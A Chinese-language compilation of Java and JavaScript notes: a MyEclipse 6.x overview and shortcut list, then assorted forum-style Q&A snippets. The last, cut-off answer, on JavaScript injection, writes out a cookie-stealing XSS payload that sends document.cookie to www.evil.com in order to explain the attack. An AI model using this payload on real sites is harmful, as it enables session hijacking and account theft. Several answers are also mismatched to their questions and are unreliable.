,简称MyEclipse)是对EclipseIDE的扩展,利用它我们可以在数据库和J2EE的开发、发布,以及应用程序服务器的整合方面极大的提高工作效率。它是功能丰富的J2EE集成开发环境,包括了完备的编码、调试、测试和发布功能,完整支持HTML,Struts, JSF, CSS, JavaScript,SQL, hibernate。 在结构上,MyEclipse的特征可以被分为7类: 1. J2EE模型 2. WEB开发工具 3. EJB开发工具 4. 应用程序服务器的连接器 5. J2EE项目部署服务 6. 数据库服务 7. MyEclipse整合帮助 对于以上每一种功能上的类别,在Eclipse中都有相应的功能部件,并通过一系列的插件来实现它们。MyEclipse结构上的这种模块化,可以让我们在不影响其他模块的情况下,对任一模块进行单独的扩展和升级。简单而言,MyEclipse是Eclipse的插件,也是一款功能强大的J2EE集成开发环境,支持代码编写、配置、测试以及除错 二.接着既然我们已经知道了这个软件,那么她又可以帮我们作些什么呢? 这里我作一些简要的介绍(由于myeclipse相继推出不同的版本,每个版本又有其各自的特点,在此我只介绍我当前在用的整个版本6.XGA) 总结起来讲这个版本支持这些以下功能: 1 平台和安装支持 1)兼容Eclipse 3.3/Europa1.0 2)支持Java 5 & Java6 3)可运行在Windows (XP,Vista)、Linux、 Mac操作系统 2 改进了Java EE 5 和 spring功能部件 1)提高EJB3.0工程项目的灵活度,从数据库模式直接产生bean,你可以结合sybase开发工具PowerDesigner来生成相应当实体bean,这样给我们带来了不少便利之处!(只是要提醒的是她生成的实体bean的对OR映射功能的支持很差,需要我们手动去做一些修改) 2)支持Java持久化结构开发 3)对Spring 2.0升级,增强配置管理功能 4)升级Hibernate,这些对开发企业级的应用是多么大的一个佳音啊!对不? 5)Spring-JPA高度集成 3 支持AJAX开发和测试(这门技术是近几年大家一致看好的技术,而该软件给她提供了支持,给开发人员带来了不少便利之处,用了你就知道的哦!) 1)支持美国Apple公司—所有的AJAX特征能在Mac操作系统上运行 2)改进了AJAX Web 浏览器 3)改进了AJAX工具 4)增强了JavaScript调试,这点我的体会很深刻,该软件提供的调试机制,如果你充分用起来你会发现你的开发效率会大幅度的提高 4 支持RAD Web 开发(这个我就不是很了解了,因为我没用过,但是相信这么强大的软件提供的支持一定不会差就是了!) 5 具备Matisse4MyEclipse可视化Swing设计器(同上) 6 快速Java EE部署和测试(感触颇深,如果你的电脑性能不差,部署的速度非常快,与传统的方式比他的优势是如此的明显,相信只要你一用你就不想再想用传统的方式了,但有点不尽人如意的是只要你的代码修改了你就要重新部署你所打的软件包,比如当你在JBOSS服务器里部署EJB3.0运用的时候,如果你的一些Bean类变化或者修改,你就不得不要去重新部署,但是还是不影响你的效率的!) 1)项目自动部署和启动服务:根据指定的调试和运行模式,自动配置项目和启动服务器;在配置前,自动停止运行的服务器;在现有的应用程序配置中可以重新配置 2)MyEclipseTomcat 6 服务器——就地集成,启动只要一秒钟 3)MyEclipseDerby 服务器:自动进行JDBC连接;可配置的启动选项 上述仅仅是做了一些我在开发一些小项目的时候用到的一些功能,有兴趣的同学可以去到MyEclipse学习中心在那里可以找到帮助和学习资料. 包括: 1)包含Java EE项目源代码.2)一键安装MyEclipse Java EE示例项目 三.讲了那么多你是不是被他强大的功能所吸引了啊!其实你看到的仅仅是大体的功能还有一些细节性的功能哦!可以帮你提高开发效率(如果不嫌我罗嗦那就听我继续讲吧!) 1. 常用的MyEclipse 快捷键(方便快捷) (1)Ctrl+M切换窗口的大小 (2)Ctrl+Q跳到最后一次的编辑处 (3)F2当鼠标放在一个标记处出现Tooltip时候按F2则把鼠标移开时Tooltip还会显示即ShowTooltip Description。 F3跳到声明或定义的地方。 F5单步调试进入函数内部。 F6单步调试不进入函数内部,如果装了金山词霸2006则要把“取词开关”的快捷键改成其他的。 F7由函数内部返回到调用处。 F8一直执行到下一个断点。 (4)Ctrl+Pg~对于XML文件是切换代码和图示窗口 (5)Ctrl+Alt+I看Java文件中变量的相关信息 (6)Ctrl+PgUp对于代码窗口是打开“Show List”下拉框,在此下拉框里显示有最近曾打开的文件 (7)Ctrl+Shift+/加上段注释 Ctrl+Shift+ 取消段注释 Ctrl+/ 在代码窗口中是这种//~注释。 Ctrl+Shift+/ 在代码窗口中是这种注释,在JSP文件窗口中是<!--~-->。 (8)Alt+Shift+O(或点击工具栏中的ToggleMark Occurrences按钮) 当点击某个标记时可使本页面中其他地方的此标记黄色凸显,并且窗口的右边框会出现白色的方块,点击此方块会跳到此标记处。 (9)右击窗口的左边框即加断点的地方选Show LineNumbers可以加行号。 (10)Ctrl+I格式化激活的元素FormatActive Elements。 Ctrl+Shift+F格式化文件Format Document。 (11)Ctrl+S保存当前文件。 Ctrl+Shift+S保存所有未保存的文件。 (12) 自动汇入所需要的类别:Ctrl+Shift+MCtrl+Shift+O 好象使用Ctrl+Shift+O 也可以按newRemote Site,Name填 svn , URL填http://subclipse.tigris.org/update,一直next到finished为止 (13)Ctrl+Space提示键入内容即ContentAssist,此时要将输入法中Chinese(Simplified)IME-Ime/NonlmeToggle的快捷键(用于切换英文和其他文字)改成其他的。 Ctrl+Shift+Space提示信息即Context Information。 (14)双击窗口的左边框可以加断点。 (15)Ctrl+D删除当前行。 (16) Ctrl+Shift+M(先把光标放在需导入包的类名上) 作用是加Import语句。 Ctrl+Shift+O作用是缺少的Import语句被加入,多余的Import语句被删除. (17) 快速执行程序:Ctrl + F11第一次执行时,它会询问您执行模式,设置好后,以后只要按这个热键,它就会快速执行。

如何看到JAVA文件的编码??

.java文件,用记事本就能打开

如何将.class文件转换成.java文件

有些可以直接用编码个工具直接打开,有些不行的需要用jd-gui进行反编译,http://jingyan.baidu.com/article/00a07f3847663a82d028dcfa.html(引用)

java 反编译中出现的问题,请高手虾米指教:

为什么不直接用软件打开,代码就出来了!jd-gui.exejode-1.1.2

请教高手:java 反编工具 Decafe 有些CLASS文件无法反编

汗 现在的编程工具都有特殊功能和插件 你换个高级点的吧

java反编译class文件后出现PUSH、POP怎么理解

以下是同一CLASS文件反编译出来的代码: 可以看出: 1、JODE出来的代码的可读性最好,不过有CLASS文件代码用JODE是反编译不出来出现异常; 2、JAD出来的代码经常要进行大量整理; 3、JODE和JAD对混混淆过的代码,变量的顺序可能会不一样,自变量的命名,JODE会好一些。 4、对于PUSH和POP,左修整时候,可以自己加自变量,临时存储; 5、JAVA对于表达式或函数参数,是从右到左进行解释的。函数参数,最后PUSH的,是最右边的参数;对于 等号赋值也是先右后左进行出栈。

JAVA编写一个简单的计算器,要求用户在界面上输入两个数,能够自动计算出它们的和

不给分啊?

java 中的while空语句有什么用?

我也不知道它弄个死循环干什么

java使用unicode为默认编码是什么意思

java初学者都会接触到一个概念,既java的默认编码是uincode,但书上也就出现这句话而已,究竟是什么意思就没再说。其实对于一个程序员来说,一个平台的编码方式是不用了解的,因为这是他内部处理字符的方式,和我们顶层设计程序是没有多大关系(如果真要说有关系的话,一个就是你对这个平台的熟悉程度,另一个就只能是你要处理的字符奇葩到要考虑编译器有没有包括这个字符)。但这并不是指我们在编程的时候完全不用考虑编码问题,恰恰相反,编码问题是跨系统交流的基本。那java哪里会用到编码问题呢?最常见的是流,下面有两个例子。1.在linux下用java创建了一个文件(这里默认代码里没有指定编码),里面包括英文和中文,然后在windows下同样用java读取这个文件,并输出,结果中文出现了乱码;2.android手机和电脑的两个java程序进行类似qq的信息交流,中文都是乱码。疑惑来了,java不是跨平台吗,而且默认编码就是unicode,为什么会有编码? 正如上面所说,java的系统编码是管理内部变量等信息的,是统一不能变的,但上面两个例子出现乱码的原因在于这些字符信息是从外界读取的,编码方式直接影响到字符的显示,比如gbk一个字符是1或2个字节,中文是2个,而utf8是1到4个字节不定,中文是3个,utf16是2个字节固定不变,所以很明显了,同样字节数的源信息可以每2个或者每3个字节表达一个中文,不同编码当然不同了,而且即使gbk和utf16都是两个字节表示一个中文,同样的二进制也对应不同的字符。所以从外部读取到这些byte信息后,就要指定编码,比如newString(byte[],charset),当然,也可以在构建流的时候就指定,像newInputStreamReader(InputStream,charset)等,但像BufferedReader等没有相应的构造函数,就只能把上面的InputStreamReader作为参数了。总结:1.String和流(包括控制台的输出输入)的默认编码是根据系统而定,即jvm假设这些信息是当前系统创建的,windows默认中文是gbk,linux和mac是utf8(这里又来了,utf8和unicode是什么意思,简单地说,unicode是把每个字符和一个唯一的二进制码对应的标准,而utf是unicodetransformationformat,即如何表示每个唯一的二进制码,utf8,utf16和utf32是不同的编码方式);2.IDE设置的编码方式用于存取java源文件,对于在不同系统平台上共享代码很重要;3.java编译器采用utf8,即class文件的存储是用utf8,因为相对于utf16,utf8在处理英文占用内存小,而程序大部分都是英文;4.jvm运行时的编码方式是utf16,即jvm用utf8从class文件读取程序后再转化为utf16编码的字符串,因为utf16是2个字节,统一的长度更方便jvm申请数组等操作;5.网页大部分是用utf8编码的,在html头几行有charset的信息,在对下载下来的网页进行解析时,要注意编码,谷歌百度在对搜索结果的解析时也是用utf8的,所以在涉及到网络时编码问题非常重要,本人曾经栽得很惨,当然了,谁叫windows的编码不是utf8;6.不知大家有没有经历过,如果编码弄错了,一般只有中文会出现乱码,而中文后面的英文是正确的,不合理啊,这不是类似多骨诺米牌吗,一个错了,后面不是全倒吗。所以别小看那些制定编码的专家,像utf8每个字节的前几位都用来表示一些信息,不同字节还不一样,而utf16也有,所以弄出了utf16le和utf16be

java中name=myname是什么语法

name=myname是标识符语法

java命令中dir是什么意思啊?

dir是windows系统的命令,用java亦可实现import java.io.*;class PT{ public static void main(String[] args) throws IOException { String filename="out.txt"; if(args.length>0){ filename=args[0]; } String command="cmd /C dir"; Runtime r=Runtime.getRuntime(); Process p=r.exec(command); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); PrintStream ps=new PrintStream(new FileOutputStream(filename)); String inline; while(null!=(inline=br.readLine())){ ps.println(inline); } System.out.println("a command result has been readed to a file "+filename); }}

深入分析Java Web技术内幕的图书目录

第1章 深入Web请求过程 11.1 B/S网络架构概述 21.2 如何发起一个请求 41.3 HTTP协议解析 61.3.1 查看HTTP信息的工具 81.3.2 浏览器缓存机制 91.4 DNS域名解析 121.4.1 DNS域名解析过程 121.4.2 跟踪域名解析过程 151.4.3 清除缓存的域名 181.4.4 几种域名解析方式 191.5 CDN工作机制 201.5.1 CDN架构 201.5.2 负载均衡 211.6 总结 24第2章 深入分析Java I/O的工作机制 252.1 Java的I/O类库的基本架构 252.1.1 基于字节的I/O操作接口 262.1.2 基于字符的I/O操作接口 272.1.3 字节与字符的转化接口 282.2 磁盘I/O工作机制 292.2.1 几种访问文件的方式 292.2.2 Java访问磁盘文件 332.2.3 Java序列化技术 342.3 网络I/O工作机制 362.3.1 TCP状态转化 372.3.2 影响网络传输的因素 392.3.3 Java Socket的工作机制 392.3.4 建立通信链路 402.3.5 数据传输 412.4 NIO的工作方式 412.4.1 BIO带来的挑战 412.4.2 NIO的工作机制 422.4.3 Buffer的工作方式 452.4.4 NIO的数据访问方式 472.5 I/O调优 492.5.1 磁盘I/O优化 492.5.2 TCP网络参数调优 502.5.3 网络I/O优化 522.6 设计模式解析之适配器模式 562.6.1 适配器模式的结构 562.6.2 Java I/O中的适配器模式 572.7 设计模式解析之装饰器模式 572.7.1 装饰器模式的结构 582.7.2 Java I/O中的装饰器模式 582.8 适配器模式与装饰器模式的区别 592.9 总结 59第3章 深入分析Java Web中的中文编码问题 603.1 几种常见的编码格式 603.1.1 为什么要编码 603.1.2 如何“翻译” 613.2 Java中需要编码的场景 633.2.1 I/O操作中存在的编码 633.2.2 内存操作中的编码 653.3 Java中如何编解码 663.3.1 按照ISO-8859-1编码 683.3.2 按照GB2312编码 693.3.3 按照GBK编码 703.3.4 按照UTF-16编码 703.3.5 按照UTF-8编码 713.3.6 UTF-8编码代码片段 713.3.7 几种编码格式的比较 733.4 Java Web中涉及的编解码 733.4.1 URL的编解码 753.4.2 HTTP Header的编解码 783.4.3 POST表单的编解码 783.4.4 HTTP BODY的编解码 793.5 JS中的编码问题 803.5.1 外部引入JS文件 803.5.2 JS的URL编码 813.5.3 其他需要编码的地方 833.6 常见问题分析 833.6.1 中文变成了看不懂的字符 833.6.2 一个汉字变成一个问号 843.6.3 一个汉字变成两个问号 843.6.4 一种不正常的正确编码 853.7 总结 86第4章 Javac编译原理 874.1 Javac是什么 884.2 Javac编译器的基本结构 884.3 Javac工作原理分析 904.3.1 词法分析器 914.3.2 语法分析器 984.3.3 语义分析器 1034.3.4 代码生成器 1134.4 设计模式解析之访问者模式 1164.4.1 访问者模式的结构 1174.4.2 Javac中访问者模式的实现 1184.5 总结 119第5章 深入class文件结构 1205.1 JVM指令集简介 1205.1.1 类相关的指令 1225.1.2 方法的定义 1235.1.3 属性的定义 1245.1.4 其他指令集 1255.2 class文件头的表示形式 1335.3 常量池 1375.3.1 UTF8常量类型 1405.3.2 Fieldref、Methodref常量类型 1415.3.3 Class常量类型 1415.3.4 NameAndType常量类型 1425.4 类信息 1425.5 Fields和Methods定义 1435.6 类属性描述 1475.7 Javap生成的class文件结构 1485.7.1 LineNumberTable 1505.7.2 LocalVariableTable 1515.8 总结 153第6章 深入分析ClassLoader 工作机制 1546.1 ClassLoader类结构分析 1556.2 ClassLoader的等级加载机制 1566.3 如何加载class文件 1596.3.1 加载字节码到内存 1596.3.2 验证与解析 1616.3.3 初始化Class对象 1616.4 常见加载类错误分析 1616.4.1 ClassNotFoundException 1616.4.2 NoClassDefFoundError 1626.4.3 UnsatisfiedLinkError 1636.4.4 ClassCastException 1646.4.5 ExceptionInInitializerError 1656.5 常用的ClassLoader分析 1666.6 如何实现自己的ClassLoader 1706.6.1 加载自定义路径下的class文件 1706.6.2 加载自定义格式的class文件 1726.7 实现类的热部署 1746.8 Java应不应该动态加载类 1766.9 总结 177第7章 JVM体系结构与工作方式 1787.1 JVM体系结构 1787.1.1 何谓JVM 1787.1.2 JVM体系结构详解 1817.2 JVM工作机制 1837.2.1 机器如何执行代码 1837.2.2 JVM为何选择基于栈的架构 1847.2.3 执行引擎的架构设计 1857.2.4 执行引擎的执行过程 1867.2.5 JVM方法调用栈 1917.3 总结 195第8章 JVM内存管理 1968.1 物理内存与虚拟内存 1978.2 内核空间与用户空间 1988.3 Java中哪些组件需要使用内存 1998.3.1 Java堆 1998.3.2 线程 1998.3.3 类和类加载器 2008.3.4 NIO 2008.3.5 JNI 2018.4 JVM内存结构 2018.4.1 PC寄存器 2028.4.2 Java栈 2028.4.3 堆 2038.4.4 方法区 2038.4.5 运行时常量池 2048.4.6 本地方法栈 2048.5 JVM内存分配策略 2048.5.1 通常的内存分配策略 2058.5.2 Java中内存分配详解 2058.6 JVM内存回收策略 2108.6.1 静态内存分配和回收 2108.6.2 动态内存分配和回收 2118.6.3 如何检测垃圾 2118.6.4 基于分代的垃圾收集算法 2138.7 内存问题分析 2228.7.1 GC日志分析 2228.7.2 堆快照文件分析 2258.7.3 JVM Crash日志分析 2258.8 实例1 2318.9 实例2 2338.10 实例3 2358.11 总结 240第9章 Servlet工作原理解析 2419.1 从Servlet容器说起 2419.1.1 Servlet容器的启动过程 2429.1.2 Web应用的初始化工作 2459.2 创建Servlet实例 2479.2.1 创建Servlet对象 2489.2.2 初始化Servlet 2489.3 Servlet体系结构 2509.4 Servlet如何工作 2539.5 Servlet中的Listener 2559.6 Filter如何工作 2579.7 Servlet中的url-pattern 2599.8 总结 260第10章 深入理解Session与Cookie 26110.1 理解Cookie 26210.1.1 Cookie属性项 26210.1.2 Cookie如何工作 26310.1.3 使用Cookie的限制 26610.2 理解Session 26710.2.1 Session与Cookie 26710.2.2 Session如何工作 26810.3 Cookie安全问题 27110.4 分布式Session框架 27210.4.1 存在哪些问题 27210.4.2 可以解决哪些问题 27310.4.3 总体实现思路 27310.5 Cookie压缩 27810.6 表单重复提交问题 28010.7 总结 281第11章 Tomcat的系统架构与 设计模式 28211.1 Tomcat总体设计 28211.1.1 Tomcat总体结构 28311.1.2 Connector组件 28911.1.3 Servlet容器Container 29411.1.4 Tomcat中的其他组件 30511.2 Tomcat中的设计模式 30511.2.1 门面设计模式 30511.2.2 观察者设计模式 30711.2.3 命令设计模式 30911.2.4 责任链设计模式 31011.3 总结 312第12章 Jetty的工作原理解析 31312.1 Jetty的基本架构 31312.1.1 Jetty的基本架构简介 31312.1.2 Handler的体系结构 31512.2 Jetty的启动过程 31612.3 接受请求 31712.3.1 基于HTTP协议工作 31712.3.2 基于AJP工作 31912.3.3 基于NIO方式工作 32212.4 处理请求 32312.5 与Jboss集成 32612.6 与Tomcat的比较 32712.6.1 架构比较 32712.6.2 性能比较 32812.6.3 特性比较 32812.7 总结 329第13章 Spring框架的设计理念与 设计模式分析 33013.1 Spring的骨骼架构 33013.1.1 Spring的设计理念 33113.1.2 核心组件如何协同工作 33213.2 核心组件详解 33313.2.1 Bean组件 33313.2.2 Context组件 33513.2.3 Core组件 33613.2.4 Ioc容器如何工作 33813.3 Spring中AOP特性详解 34813.3.1 动态代理的实现原理 34813.3.2 Spring AOP如何实现 35113.4 设计模式解析之代理模式 35413.4.1 代理模式原理 35413.4.2 Spring中代理模式的实现 35413.5 设计模式解析之策略模式 35713.5.1 策略模式原理 35713.5.2 Spring中策略模式的实现 35813.6 总结 358第14章 Spring MVC工作机制与 设计模式 36014.1 Spring MVC的总体设计 36014.2 Control设计 36514.2.1 HandlerMapping初始化 36614.2.2 HandlerAdapter初始化 36814.2.3 Control的调用逻辑 36914.3 Model设计 37014.4 View设计 37114.5 框架设计的思考 37314.5.1 为什么需要框架 37314.5.2 需要什么样的框架 37314.5.3 框架设计的原则 37414.5.4 “指航灯” 37414.5.5 最基本的原则 37414.6 设计模式解析之模板模式 37514.6.1 模板模式的结构 37514.6.2 Spring MVC中的模板模式示例 37614.7 总结 377第15章 深入分析Ibatis框架之系统 架构与映射原理 37815.1 Ibatis框架主要的类层次结构 37815.2 Ibatis框架的设计策略 37915.3 Ibatis框架的运行原理 38115.4 示例 38315.5 Ibatis对SQL语句的解析 38515.6 数据库字段映射到Java对象 38615.7 示例运行的结果 38815.8 设计模式解析之简单工厂模式 38815.8.1 简单工厂模式的实现原理 38815.8.2 Ibatis中的简单工厂模式示例 38915.9 设计模式解析之工厂模式 39015.9.1 工厂模式的实现原理 39015.9.2 Ibatis中的工厂模式示例 39115.10 总结 392第16章 Velocity工作原理解析 39416.1 Velocity总体架构 39516.2 JJTree渲染过程解析 39816.2.1 #set语法 40216.2.2 Velocity的方法调用 40316.2.3 #if、#elseif和#else语法 40616.2.4 #foreach语法 40716.2.5 #parse语法 40916.3 事件处理机制 41016.4 常用优化技巧 41316.4.1 减少树的总节点数量 41316.4.2 减少渲染耗时的节点数量 41316.5 与JSP比较 41416.5.1 JSP渲染机制 41416.5.2 Velocity与JSP 42016.6 设计模式解析之合成模式 42016.6.1 合成模式的结构 42016.6.2 Velocity中合成模式的实现 42116.7 设计模式解析之解释器模式 42216.7.1 解释器模式的结构 42216.7.2 Velocity中解释器模式的实现 42316.8 总结 423第17章 Velocity优化实践 42417.1 现实存在的问题 42417.2 优化的理论基础 42517.2.1 程序语言的三角形结构 42517.2.2 数据结构减少抽象化 42617.2.3 简单的程序复杂化 42617.2.4 减少翻译的代价 42717.2.5 变的转化为不变 42717.3 一个高效的模板引擎的实现思路 42717.3.1 vm模板如何被编译 42917.3.2 方法调用的无反射优化 43617.3.3 字符输出改成字节输出 43917.4 优化的成果 44017.4.1 char转成byte 44017.4.2 无反射执行 44117.5 其他优化手段 44217.6 总结 442

JavaWeb项目到底该使用什么框架

每个人都有自己的理解,我肯定有不正确的地方,权且当抛砖引玉1.有的人认为使用了SSH可以大大提高系统速度,其实不然,我两个月前遇到的一个银行反洗钱项目就使用struts1.2 + jdbc开发,数据库20G左右,同样正常运行,速度还可以,我认为SSH提高的是非视图层的开发效率,减少了维护难度,对于运行速度倒不一定2.有的人认为只要会SSH的基本组合就可以了,其实不然,它们每个都是很多的版本,有些版本存在本质区别,如struts1和struts2的本质不同,spring2和spring2.5的注解配置,如果一点不考虑,一股脑采用配置文件,最终的结果只会被配置文件淹没,反而提高了维护难度,当然,太多的注解也让人昏迷,所以我认为必须对这些重点差异版本都进行学习,至少使用一会,自己去体会,找到配置文件和注解的平衡,从而提高开发效率,减少维护难度3.有的人认为hibernate好啊,有了它就万事大吉,其实不然,经过实践证明,它无法对复杂sql进行良好处理,事实上,实际项目中对复杂sql的需求相当高,远比增删改多,比如,我曾经做过的反洗钱系统中,三个大表,即使分表后依然千万级的数据量,并且三表还存在关联,使用hibernate,无法想象,所以我们使用ibatis2来专门处理复杂查询sql,以及批量修改和删除,使用hibernate来处理其他操作这里给一个SQL,看谁能使用HQL写出来,如果有,我佩服Sql代码 收藏代码 select datename(year,a.tr_date)+datename(month,a.tr_date)+(case when day(a.tr_date)<10 then "0"+datename(day,a.tr_date) else datename(day,a.tr_date) end ) as trade_date, datename(year,a.analyse_date)+datename(month,a.analyse_date)+(case when day(a.analyse_date)<10 then "0"+datename(day,a.analyse_date) else datename(day,a.analyse_date) end ) as analyse_date, datename(year,a.rep_date)+datename(month,a.rep_date)+(case when day(a.rep_date)<10 then "0"+datename(day,a.rep_date) else datename(day,a.rep_date) end ) as rep_date, a.*, d.*, s.file_name from tbriskshow a, tbriskshow_detail d, tbriskshow_relation r, rep_riskshow_file s where a.check_flag > 2 and a.sus_flag = 2 and r.id = a.id and r.tbriskdetail_id = d.id and a.status = 0 and a.type = 5 and s.riskshow_id = a.id 4.合理的配置文件布局很重要,项目开发才能正常进行,不要以为将所有struts,spring配置信息放置在一个文件中会很爽,如果你感觉到爽,那是因为你做的项目太小,所以全部按某种规范分开放置,使用总配置文件来引用这些配置5.再说说视图层,当前无外乎是JSP、CSS、JS、EL、JSTL、JSF、Jquery、Ext等技术,再高级点的就是使用JSP自定义标签技术将某些东西封装起成标签表单和表格,供统一调用,其实不管怎么样,由于每个人技术层次不同,到了后面维护必可避免的难搞,所以我结合我自己做过、参与过、看过的项目,认为视图层可以这样做:将所有控件封装(有人可能会说,这得封装多少东西啊,其实主要封装了表单、表格、树形、复选下拉、对话框,就能解决大部分问题),开发人员使用标准XML来配置界面以及其方法,再通过一个标准XML格式和服务器(SSH、存储过程)进行交互,这样,哪怕一个对界面完全没有感觉的人也能做出漂亮且风格完全统一的页面,并且维护相对容易,以下是一个示例页面配置XML: <!-- 菜单操作基础表单 --> <view id="10000011_form_base_conf"> <column>2</column> <defButtons>true</defButtons> <col type="number" field="cdbh" readonly="true" value="-1">菜单编号</col> <col type="number" field="fjbh" readonly="true" value="-1">父级编号</col> <col type="input" field="cdmc" must="true">菜单名称</col> <col type="select" field="sfzy" must="true" option="是:1|否:0">是否枝叶</col> <col type="number" field="pxh">排序号</col> <col type="input" field="ljdz" must="true">连接地址</col> </view> <!-- 添加菜单 --> <view id="10000011_form_add_conf"> <ext>10000011_form_base_conf</ext> <add_func_id>10000012</add_func_id> </view> <!-- 修改菜单 --> <view id="10000011_form_edit_conf"> <ext>10000011_form_base_conf</ext> <edit_func_id>10000013</edit_func_id> <delete_func_id>10000014</delete_func_id> </view> 数据访问XML: <func id="10000012"> <param name="cdmc" type="varchar" nullValue="" /> <param name="sfzy" type="int" nullValue="0" /> <param name="fjbh" type="int" nullValue="0" /> <param name="pxh" type="int" nullValue="0" /> <param name="ljdz" type="varchar" nullValue="" /> </func> 6.最后说说JavaWeb的未来,当然我个人认为的未来,随着Iphone,Ipad,安卓的普及,JavaWeb进军手机是必然的,就像当年PC上用PB,VB做的MIS,CRM等管理类桌面程序被大清洗一样(本人原来也是个PB程序员,后来转的Java,现在还依稀记得datewindow的风采),所以我认为JavaWeb的未来就是手持设备浏览器,服务器端其实应该没有太大变化,主要前端UI部分:多风格、多点触控式完全替代传统的表格、表单都是可能的,现在已经有不少框架出现,JQtouch、Jquery Mobile、Sencha Touch等等,当然这些我自己也还在学习中,谈不出什么,但我相信这就是未来,让我们拭目以待吧

mediumint 在java中用什么数据库类型接受

数据库中的number类型在java类对应的类型:1.如果number类没有设置小数位位数,默认小数位数为0,则在java类中可以使用int或者long对应;2.如果number类设置小数位位数,在java类中可以使用double类进行对应。注:也可以使用基本类型的包装类进行对于,比如double的包装类为Double.

java 子线程如何返回结果给主线程

你看一下,这个能不能满足你的要求。public class TS { public static void main(String[] args) { RunA classA = new RunA(); new Thread(classA).start(); }}class RunA implements Runnable { public void run() { RunB classb = new RunB(); new Thread(classb).start(); while (true) { if (classb.index == 100) { System.out.println("over"); break; } try { Thread.sleep(20); } catch (Exception e) { } } }}class RunB implements Runnable { public int index = 0; public void run() { while (true) { if (index == 100) { break; } index++; try { Thread.sleep(20); } catch (Exception e) { } } }}

java编程利用按钮实现时钟的停止和开始功能(原代码)

使用按钮响应事件,可以用线程类Thread的sleep方法,也可以用timer类来实现暂停,具体的代码不难写,楼主查查API哈

JAVA:利用多线程技术编写程序,其中包含滚动字符串,从左向右移动

楼主说得太模糊了,完全搞不清楚究竟要干什么楼上也晕了一点吧楼主问的是java,又不使用js的网页开发

用javascript控制div的显示从下方逐渐出现

functionchangeBody(index){switch(index){case1:{document.getElementById("iDBody1").style.display="";document.getElementById("iDBody2").style.display="none";document.getElementById("iDBody3").style.display="none";}case2:{document.getElementById("iDBody1").style.display="none";document.getElementById("iDBody2").style.display="";document.getElementById("iDBody3").style.display="none";}case3:{document.getElementById("iDBody1").style.display="none";document.getElementById("iDBody2").style.display="none";document.getElementById("iDBody3").style.display="";}}}

JAVA能开发哪些类型的游戏?

简单来说就是,它可以做任何游戏!但是相对来说,各种“领域”都有适合各自的开发语言,比如:大型网络游戏用C++;手机APP用安卓和IOS...它 们在各自的领域或方向都已经开发应用的相对很成熟和稳定了,所以就很适合了。上面的这些用Java一样可以做出来,而且估计效果也会很好,但是相对的,Java要想取而代之,需要一个成长期和磨合期!

哪个是java的开发工具

我也建议下个eclipse,比较方便,但是要装jre和一些需要的插件,下载地址是http://www.eclipse.org/,赛迪网有些相关的eclipse教程。

请问webqq是基于flash还是javascript还是别的什么做出来的

用javaScript很麻烦的 相当的不方便最好的办法是用jfreeChar 简单方便 而且图形样式丰富 只需要传递数据过去 图形会随着数据变化动态生成flash也可以的 可能flash的美工会更好一点

javascript 的document.all

document.all是获取body中所有的ID元素,你未设置自然为空

javascript 中用document.write 输出一个按钮

请看下DHTML对document.write的说明在文档加载完后,最好不要调用write方法

JavaScript中document.write里的内容为什么无法再页面显示?谢谢高手指点

当</html>输出完成以后,页面输出流就关闭了,这时候document.write就会重新打开页面输出流,原来的document对象将会被清除,即相当于新打开一个页面。一般来说document.write是用于在html文档没有输出完之前通过拼写html的手段输出数据的。针对你的情况建议用div去做。<html><head></head><body><h1>猜数字</h1><hr><p>我暗地里选中了一个1到100间的数字,你能才中吗?注意:最多猜十次哦!</p><form name="form" action="number.htm" onSubmit="return check()"><input type="text" name="number"><input type="submit" value="对不对?"></form><script type="text/javascript">function writeConsle(str) {var div = document.createElement("div");div.innerHTML = str;document.body.appendChild(str);}function check() {var realResult=70;var guessNumber=document.form.number.value;if(guessNumber>realResult) {writeConsle("再猜小一点!");document.form.number.focus();return false;}if(guessNumber<realResult) {writeConsle("再猜大一点!");document.test.number.focus();return false;}if(guessNumber==realResult) {alert("您猜对了!");}return true;}</script></body></html>

javascript中document和document.documentElement有什么区别,为什么

document是指文档模型,将整个页面作为一棵dom树来处理其结构为#document<!doctype html><html>.........</html>而documentElement,注意其中的element,元素(也就是一个标签以及里面的数据),说明这是一个文档元素,是这个文档的根元素以及其包含的所有数据。其结构为<html>....................</html>

Document在java中的哪个包

是哪个document呢,dom的document在javax.dom包下

android java 怎么设置悬浮窗(悬浮窗是一个activity)上组件的属性,和按钮的点击

if (instrumentation != null) { try { instrumentation.callApplicationOnCreate(app); } catch (Exception e) { if (!instrumentation.onException(app, e)) { throw new RuntimeException( "Unable to create application " + app.getClass().getName() + ": " + e.toString(), e); } }

java 怎样获取instrumentation实例

Java SE 6新特性:Instrumentation,利用 Java 代码,即 java.lang.instrument 做动态 Instrumentation 是 Java SE 5 的新特性,它把 Java 的 instrument 功能从本地代码中解放出来,使之可以用 Java 代码的方式解决问题。

javascript中的demo是什么意思

给标签赋值,后期引用并展示结果

什么是JavaScript注入及简单的防御方法

很多网站都有私信或者留言板功能。登录用户可以发表评论或者给其他用户(包括管理员)发送私信。一个最简单的模拟表单如下:<form action="sendmessage.php" method="post""><textarea name="message"> </textarea><input type="submit" value="send" /></form>当用户点击发送时,这条消息会被保存在数据库中指定的数据表中,另一个用户当打开这条消息的时候将看到发送的内容。但是,如果一个恶意攻击者发送的内容包含了一些javascript代码,这些代码用于偷取敏感的cookie信息。当用户打开看到这条消息的时候,恶意的javascript代码就会得到执行,造成敏感cookie信息泄漏。攻击者可以利用获得这些cookie信息进行session hijacking会话劫持,直接以合法用户的身份登录其他用户的账户。恶意攻击者可以在消息框中加入一下javascript代码:? var url = "http://www.evil.com/index.php"; //攻击者控制的服务器var postStr = "ck=" + document.cookie;var ajax = null;if(window.XMLHttpRequest()){ajax = new XMLHttpRequest();}else if(window.ActiveXObject){ajax = new ActiveXObject("Microsoft.XMLHttp");}else{return;}ajax.open("POST", url, true);ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");ajax.send(postStr);ajax.onreadystatechange = function(){if(ajax.readyState == 4 && ajax.status == 200){//alert("Done!");}}通过AJAX异步请求,将被攻击者的敏感cookie信息发送给了攻击者控制的服务器。攻击者随后即可利用这些cookie信息以”合法”用户的身份进行登录操作。这里首先要理清楚几个重要的问题:1. 